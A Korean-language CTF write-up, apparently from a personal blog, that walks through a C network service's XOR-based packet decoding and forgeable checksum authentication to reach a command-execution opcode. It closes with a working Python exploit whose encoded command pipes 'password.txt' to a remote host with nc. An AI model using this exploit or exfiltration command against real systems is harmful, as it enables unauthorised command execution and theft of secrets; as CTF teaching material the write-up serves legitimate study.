    server.sin_addr.s_addr = INADDR_ANY;

    if (-1 == bind(sd, (struct sockaddr *)&server, address_len))
    {
        printf("Error: failed to bind on 0.0.0.0:%i\n", port);
        return -1;
    }

    if (-1 == listen(sd, SOMAXCONN))
    {
        printf("Error: failed to listen on socket\n");
        return -1;
    }

    printf("Entering main listening loop...\n");
    while (1)
    {
        client_sd = accept(sd, (struct sockaddr *)&client, &address_len);
        if (-1 == client_sd)
        {
            printf("Error: failed accepting connection, continuing\n");
            continue;
        }

        printf("Accepted connection from %s\n", inet_ntoa(client.sin_addr)); 
        
        process_id = fork();
        if (0 == process_id)
        {
            process_connection(client_sd);
            close(client_sd); 
            close(sd);
            exit(0);
        }

        close(client_sd);

    }
}


딱히 별다를게 없이 소켓을 할당하고 통신을 위해서 fork로 자식프로세스한테 process_connection을 실행시키도록 한다.


그럼 process_connection의 코드를 보자.


int process_connection(int sockfd) { ssize_t bytes_read; cipher_data encrypted; uint8_t decrypted[128]; request *packet; uint32_t authenticated; memset(&encrypted, 0, sizeof(encrypted)); memset(&decrypted, 0, sizeof(decrypted)); bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0); if (bytes_read <= 0) { printf("Error: failed to read socket\n"); return -1; } if (encrypted.length > bytes_read) { printf("Error: invalid length in packet\n"); return -1; } decipher(&encrypted, decrypted); packet = (request *)&decrypted; authenticated = is_authenticated(packet, encrypted.key); if (1 == authenticated) { printf("Packet is authenticated\n"); } else { printf("Packet is NOT authenticated\n"); } switch (packet->opcode) { /* functions: - timestamp - uptime - read file - execute command */ case 0x01: printf("Timestamp Request\n"); timestamp(sockfd); break; case 0x24: printf("Uptime Request\n"); uptime(sockfd); break; case 0x3A: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Read File Request: %s\n", packet->data); read_file(sockfd, packet->data); break; case 0x5C: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Execute Command Request: %s\n", packet->data); system(packet->data); break; default: printf("Unknown opcode: %08x\n", packet->opcode); break; } return 0; }


보다 시피 소켓을 통해 cipher_data 구조체를 받아서 decipher함수를 호출한다.


cipher_data 구조체는 아래와 같다.


// encrypted
struct cipher_data
{
    uint8_t length; // max Length : 255
    uint8_t key[8];
    uint8_t bytes[128];
};
typedef struct cipher_data cipher_data;


길이와 키값, 그리고 바이트 값들을 가지고 있다.


이 구조체를 이용해서 decipher함수를 실행하게 되니 한번 소스코드를 보자.


decipher함수는 아래와 같다.


uint32_t decipher(cipher_data *data, uint8_t *output) { uint8_t buf[MAX_BLOCKS * BLOCK_SIZE]; uint32_t loop; uint32_t block_index; uint8_t xor_mask = 0x8F; memcpy(buf, data->bytes, sizeof(buf)); if ((data->length / BLOCK_SIZE) > MAX_BLOCKS) { data->length = BLOCK_SIZE * MAX_BLOCKS; } for (loop = 0; loop < data->length; loop += 8) { for (block_index = 0; block_index < 8; ++block_index) { buf[loop+block_index]^=(xor_mask^data->key[block_index]); } } memcpy(output, buf, sizeof(buf)); }


최대 블록수(MAX_BLOCKS)는 8개 이고, BLOCK_SIZE는 16이다.


각 블록 당 데이터들을 bytes[loop + block_index] ^ 0x8f ^ key[block_index]를 해준다.


그런데 cipher_data는 우리가 직접 전송한 패킷이다.


다른 말로하면 조작할 수 있다는 건데, key 배열을 0x00으로 전부 초기화 시켜버리면


최종적으로 buf[loop + block_index] ^= 0x8f가 된다는 말이다. (간단해졌죠.)


근데 이것 마저 간단하게 바꿀 수 있는데,


저 이중 포문은 사실상 포문 하나와 마찬가지로 볼 수 있기 때문에


이렇게 바꿀 수 있다.


for(int p = 0; p < data->length; p++)
    buf[p] ^= 0x8f;


결국 배열에 대해서 0x8f를 해준다는 것이기 때문에 output에 복사할 데이터를 예상하기 쉬워졌다.


output은 결과적으로 decipher함수를 빠져나와 request 구조체로 형변환이 일어나게되는데,


request 구조체는 아래와 같다.


struct request { uint32_t opcode; uint32_t checksum; uint8_t data[100]; }; typedef struct request request;


이렇게 생겼는데, 먼저 우리는 이 데이터를 예상하기 쉬워졌기 때문에


opcode에 먼저 0x5c값을 넣기위해 


0x8f ^ 0x5c 한 값을 cipher_data->bytes의 맨 처음에 넣어줘야 한다.


또 아까전에 예상하기 쉬워지기 위해서는 key배열이 전부 0으로 초기화 되야한다고 했으니 key 배열에 0을 넣어준다.



현재 패킷 구조


패킷 총 길이

0x0000000000000000

0x0000008f ^ 0x0000005c

... 

 bytes[128]





자 이제 어느정도 까지 했는데, is_authticated 함수를 분석 해보자.


uint32_t is_authenticated(request *packet, uint8_t *key) { char buf[128]; uint32_t hash_a; uint32_t hash_b; uint32_t auth_checksum; memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, key, 8); hash_a = cluster_f(buf, 24); memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, packet->data, 100); hash_b = cluster_f(buf, 116); memset(buf, 0, sizeof(buf)); memcpy(buf, (uint8_t *)&hash_a, sizeof(hash_a)); memcpy(buf+4, (uint8_t *)&hash_b, sizeof(hash_b)); auth_checksum = cluster_f(buf, 8); printf("auth_checksum = %08x\n", auth_checksum); printf("packet->checksum = %08x\n", packet->checksum); if (auth_checksum == packet->checksum) { return 1; } return 0; }


request구조체를 입력받아 cluster_f함수를 통해 해쉬화를 해주고 있다.


checksum값을 출력해주는데 어차피 packet의 checksum값만 변경해주면 우회가 가능하다.


지금까지 패킷 구조를 보게되면 아래와 같다.


패킷 총 길이

0x0000000000000000

0x8f_xor_opcode

checksum

bytes[100]


이렇게 구성한뒤 패킷을 전송하면 system을 실행시킬 수 있을 것이다.


system함수에서 명령어를 bytes에서 받아오기 때문에 bytes에 명령어를 집어 넣어주면 되겠다.


아 물론 0x8f으로 xor한 뒤에 넣어줘야 한다.


최종 Payload


from socket import *
import struct, telnetlib

b = lambda x : struct.pack("<B", x)
l = lambda x : struct.pack("<L", x)
q = lambda x : struct.pack("<Q", x)

sock = socket(AF_INET, SOCK_STREAM)
sock.connect(('127.0.0.1', 24001))

cipher_data  = ""
cipher_data += b(0x87) # max length
cipher_data += q(0x00) # key is 0x0000000000000000
cipher_data += l(0x8f8f8fd3) # opcode
cipher_data += l(0xE0B6AE43) # checksum
# cat password.txt | nc ip 9505;
cipher_data += "\xec\xee\xfb\xaf\xff\xee\xfc\xfc\xf8\xe0\xfd\xeb\xa1\xfb\xf7\xfb\xaf\xf3\xaf\xe1\xec\xaf\xbf\xaf\xb6\xba\xbf\xba\xb4"
cipher_data += "A" * (0x87 - len(cipher_data))

sock.send(cipher_data + "\n")

t = telnetlib.Telnet()
t.sock = sock
t.interact()


'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
블로그 이미지

KuroNeko_

KuroNeko

,